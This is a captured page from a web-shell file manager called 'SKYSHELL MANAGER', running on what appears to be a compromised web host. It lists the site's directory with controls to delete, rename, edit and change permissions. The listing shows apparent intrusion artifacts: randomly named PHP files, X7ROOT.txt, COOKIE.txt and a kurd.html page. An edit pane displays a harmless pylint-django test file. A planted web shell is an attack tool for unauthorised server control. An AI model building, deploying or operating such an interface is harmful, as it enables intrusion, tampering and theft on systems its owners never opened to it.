📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: test_func.py
import csv import os import pickle import sys from pathlib import Path import pylint import pytest os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pylint_django.tests.settings") HERE = Path(__file__).parent try: # pylint 2.5: test_functional has been moved to pylint.testutils from pylint.testutils import FunctionalTestFile, LintModuleTest, lint_module_test if "test" not in csv.list_dialects(): class test_dialect(csv.excel): delimiter = ":" lineterminator = "\n" csv.register_dialect("test", test_dialect) lint_module_test.PYLINTRC = HERE / "testing_pylint.rc" except (ImportError, AttributeError): # specify directly the directory containing test_functional.py test_functional_dir = os.getenv("PYLINT_TEST_FUNCTIONAL_DIR", "") # otherwise look for in in ~/pylint/tests - pylint 2.4 # this is the pylint git checkout dir, not the pylint module dir if not os.path.isdir(test_functional_dir): test_functional_dir = os.path.join(os.getenv("HOME", "/home/travis"), "pylint", "tests") # or site-packages/pylint/test/ - pylint before 2.4 if not os.path.isdir(test_functional_dir): test_functional_dir = os.path.join(os.path.dirname(pylint.__file__), "test") sys.path.append(test_functional_dir) from test_functional import FunctionalTestFile, LintModuleTest sys.path += [str(p.absolute()) for p in (HERE, HERE / "../../", HERE / "input")] class PylintDjangoLintModuleTest(LintModuleTest): """ Only used so that we can load this plugin into the linter! """ def __init__(self, test_file): # if hasattr(test_file, 'option_file') and test_file.option_file is None: super(PylintDjangoLintModuleTest, self).__init__(test_file) self._linter.load_plugin_modules(["pylint_django"]) self._linter.load_plugin_configuration() class PylintDjangoMigrationsTest(PylintDjangoLintModuleTest): """ Only used so that we can load pylint_django.checkers.migrations into the linter! """ def __init__(self, test_file): super().__init__(test_file) self._linter.load_plugin_modules(["pylint_django.checkers.migrations"]) self._linter.load_plugin_configuration() def get_tests(input_dir="input", sort=False): def _file_name(test): return test.base input_dir = HERE / input_dir suite = [] for fname in input_dir.iterdir(): if fname.name != "__init__.py" and fname.name.endswith(".py"): suite.append(FunctionalTestFile(str(input_dir.absolute()), str(fname.absolute()))) # when testing the migrations plugin we need to sort by input file name # because the plugin reports the errors in close() which appends them to the # report for the last file in the list if sort: suite.sort(key=_file_name) return suite TESTS = get_tests() TESTS.extend(get_tests("input/models")) TESTS_NAMES = [t.base for t in TESTS] @pytest.mark.parametrize("test_file", TESTS, ids=TESTS_NAMES) def test_everything(test_file): # copied from pylint.tests.test_functional.test_functional LintTest = PylintDjangoLintModuleTest(test_file) LintTest.setUp() LintTest._runTest() # NOTE: define tests for the migrations checker! MIGRATIONS_TESTS = get_tests("input/migrations", True) MIGRATIONS_TESTS_NAMES = [t.base for t in MIGRATIONS_TESTS] @pytest.mark.parametrize("test_file", MIGRATIONS_TESTS, ids=MIGRATIONS_TESTS_NAMES) def test_migrations_plugin(test_file): LintTest = PylintDjangoMigrationsTest(test_file) LintTest.setUp() LintTest._runTest() @pytest.mark.parametrize("test_file", MIGRATIONS_TESTS[:1], ids=MIGRATIONS_TESTS_NAMES[:1]) def test_linter_should_be_pickleable_with_pylint_django_plugin_installed(test_file): LintTest = PylintDjangoMigrationsTest(test_file) LintTest.setUp() # LintModuleTest sets reporter to instance of FunctionalTestReporter that is not picklable LintTest._linter.reporter = None pickle.dumps(LintTest._linter) if __name__ == "__main__": sys.exit(pytest.main(sys.argv))
Save